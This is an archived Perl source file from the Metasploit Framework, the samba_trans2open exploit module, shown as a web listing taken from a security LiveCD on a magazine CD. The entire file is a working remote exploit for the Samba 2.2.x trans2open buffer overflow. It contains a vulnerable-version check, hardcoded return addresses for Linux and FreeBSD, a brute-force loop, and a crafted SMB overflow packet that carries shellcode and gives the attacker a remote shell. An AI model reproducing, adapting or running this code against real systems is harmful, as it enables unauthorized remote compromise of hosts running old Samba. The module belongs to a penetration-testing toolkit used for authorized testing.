home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / samba_trans2open.pm < prev    next >
Text File  |  2006-06-30  |  6KB  |  227 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::samba_trans2open;
  11. use base 'Msf::Exploit';
  12. use strict;
  13. use Pex::Text;
  14. use Pex::SMB;
  15.  
  16. my $advanced = { };
  17.  
  18. my $info =
  19.   {
  20.     'Name'    => 'Samba trans2open Overflow',
  21.     'Version' => '$Revision: 1.37 $',
  22.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  23.  
  24.     'Arch'  => [ 'x86' ],
  25.     'OS'    => [ 'linux', 'bsd' ],
  26.     'Priv'  => 1,
  27.  
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The samba port', 139],
  32.         'SRET', => [0, 'DATA', 'Use specified return address'],
  33.         'DEBUG' => [0, 'BOOL', 'Enable debugging mode'],
  34.       },
  35.  
  36.     'Payload' =>
  37.       {
  38.         'Space'      => 734,
  39.         'BadChars'  => "\x00",
  40.         'Keys'      => ['+findsock'],
  41.       },
  42.  
  43.     'Description'  => Pex::Text::Freeform(qq{
  44.         This exploits the buffer overflow found in Samba versions
  45.         2.2.0 to 2.2.8. This particular module is capable of
  46.         exploiting the bug on x86 Linux and FreeBSD systems.
  47. }),
  48.  
  49.     'Refs'  =>
  50.       [
  51.         ['OSVDB', '4469'],
  52.         ['URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
  53.         ['MIL', '53'],
  54.       ],
  55.  
  56.     'Targets' =>
  57.       [
  58.         ["Linux x86",   0xbffffdfc, 0xbfa00000, 512, "RWRWDDRD"],
  59.         ["FreeBSD x86", 0xbfbffdfc, 0xbf100000, 512, "RWDWDDDD"],
  60.       ],
  61.  
  62.     'Keys'  => ['samba'],
  63.  
  64.     'DisclosureDate' => 'Apr 7 2003',
  65.   };
  66.  
  67. sub new {
  68.     my $class = shift;
  69.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  70.     return($self);
  71. }
  72.  
  73. sub Check {
  74.     my $self = shift;
  75.     my $target_host = $self->GetVar('RHOST');
  76.     my $target_port = $self->GetVar('RPORT');
  77.  
  78.     my $s = Msf::Socket::Tcp->new
  79.       (
  80.         'PeerAddr' => $target_host,
  81.         'PeerPort' => $target_port,
  82.         'LocalPort' => $self->GetVar('CPORT'),
  83.       );
  84.     if ($s->IsError) {
  85.         $self->PrintLine("[*] Error creating socket: " . $s->GetError);
  86.         return $self->CheckCode('Connect');
  87.     }
  88.  
  89.     my $x = Pex::SMB->new({ 'Socket' => $s });
  90.  
  91.     $x->SMBNegotiate();
  92.     if ($x->Error) {
  93.         $self->PrintLine("[*] Error negotiating protocol");
  94.         return $self->CheckCode('Generic');
  95.     }
  96.  
  97.     $x->SMBSessionSetup();
  98.     if ($x->Error) {
  99.         $self->PrintLine("[*] Error setting up session");
  100.         return $self->CheckCode('Generic');
  101.     }
  102.  
  103.     my $version = $x->PeerNativeLM();
  104.     $s->Close;
  105.  
  106.     if (! $version) {
  107.         $self->PrintLine("[*] Could not determine the remote Samba version");
  108.         return $self->CheckCode('Generic');
  109.     }
  110.  
  111.     $self->PrintDebugLine(1, 'LanMan: '.$version);
  112.     $self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
  113.  
  114.     if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-7]|2\.2\.8$)/i) {
  115.         $self->PrintLine("[*] Target seems to running vulnerable version: $version");
  116.         return $self->CheckCode('Appears');
  117.     }
  118.  
  119.     $self->PrintLine("[*] Target does not seem to be vulnerable: $version");
  120.     return $self->CheckCode('Safe');
  121. }
  122.  
  123. sub Exploit {
  124.     my $self = shift;
  125.     my $target_host = $self->GetVar('RHOST');
  126.     my $target_port = $self->GetVar('RPORT');
  127.     my $target_idx  = $self->GetVar('TARGET');
  128.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  129.  
  130.     my $target = $self->Targets->[$target_idx];
  131.  
  132.     my $curr_ret;
  133.  
  134.     $self->PrintLine("[*] Starting bruteforce mode for target ".$target->[0]);
  135.  
  136.     if ($self->GetVar('SRET'))
  137.     {
  138.         my $ret = eval($self->GetVar('SRET')) + 0;
  139.         $target->[1] = $target->[2] = $ret;
  140.     }
  141.  
  142.     for (
  143.         $curr_ret  = $target->[1];
  144.         $curr_ret >= $target->[2];
  145.         $curr_ret -= $target->[3]
  146.       )
  147.     {
  148.         my $Ret = pack("V", $curr_ret);
  149.         my $Wri = pack("V", ($curr_ret - 128));
  150.         my $Dat = "META";
  151.         my $Addr;
  152.  
  153.         foreach (split(//, $target->[4]))
  154.         {
  155.             $Addr .= $Ret if $_ eq "R";
  156.             $Addr .= $Wri if $_ eq "W";
  157.             $Addr .= $Dat if $_ eq "D";
  158.         }
  159.  
  160.         my $s = Msf::Socket::Tcp->new
  161.           (
  162.             'PeerAddr'  => $target_host,
  163.             'PeerPort'  => $target_port,
  164.             'LocalPort' => $self->GetVar('CPORT'),
  165.             'SSL'       => $self->GetVar('SSL'),
  166.           );
  167.         if ($s->IsError) {
  168.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  169.             return;
  170.         }
  171.  
  172.         my $x = Pex::SMB->new({ 'Socket' => $s });
  173.  
  174.         $x->SMBNegotiate();
  175.         if ($x->Error) {
  176.             $self->PrintLine("[*] Error negotiating protocol");
  177.             return;
  178.         }
  179.  
  180.         $x->SMBSessionSetup();
  181.         if ($x->Error) {
  182.             $self->PrintLine("[*] Error setting up session");
  183.             return;
  184.         }
  185.  
  186.         $x->SMBTConnect("\\\\127.0.0.1\\IPC\$");
  187.         if ($x->Error) {
  188.             $self->PrintLine("[*] Error connecting to IPC");
  189.             return;
  190.         }
  191.  
  192.         my $Overflow =
  193.           "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  194.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  195.           "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  196.           "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  197.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  198.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
  199.  
  200.         $Overflow .=  $shellcode;
  201.         $Overflow .= "A" x 297;
  202.         $Overflow .=  $Addr . ("\x00" x 273);
  203.  
  204.         $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret));
  205.  
  206.         if ($self->GetVar('DEBUG'))
  207.         {
  208.             print STDERR "[*] Press enter to send overflow string...\n";
  209.             <STDIN>;
  210.         }
  211.  
  212.         $s->Send($Overflow);
  213.         $s->Send("\x00" x 810);
  214.  
  215.         # handle client side of shellcode
  216.         $self->Handler($s);
  217.  
  218.         # give the payload time to execute
  219.         sleep(5) if ($self->GetVar('SRET'));
  220.  
  221.         $s->Close();
  222.         undef($s);
  223.     }
  224.     return;
  225. }
  226.  
  227.